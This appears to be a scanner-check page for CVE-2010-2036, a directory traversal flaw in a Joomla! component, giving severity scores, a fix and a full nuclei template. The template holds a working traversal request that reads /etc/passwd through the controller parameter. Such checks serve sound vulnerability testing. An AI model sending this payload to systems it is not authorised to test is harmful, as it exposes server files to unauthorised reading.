Joomla! Component Percha Fields Attach 1.0 - Directory Traversal

highseverity

7.5CVSS score

13.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2036 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2036

info:
  name: Joomla! Component Percha Fields Attach 1.0 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34004
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2036
    - http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2036
    cwe-id: CWE-22
    epss-score: 0.1321
    epss-percentile: 0.96405
    cpe: cpe:2.3:a:percha:com_perchafieldsattach:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchafieldsattach
  tags: cve,cve2010,lfi,joomla,edb,packetstorm,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from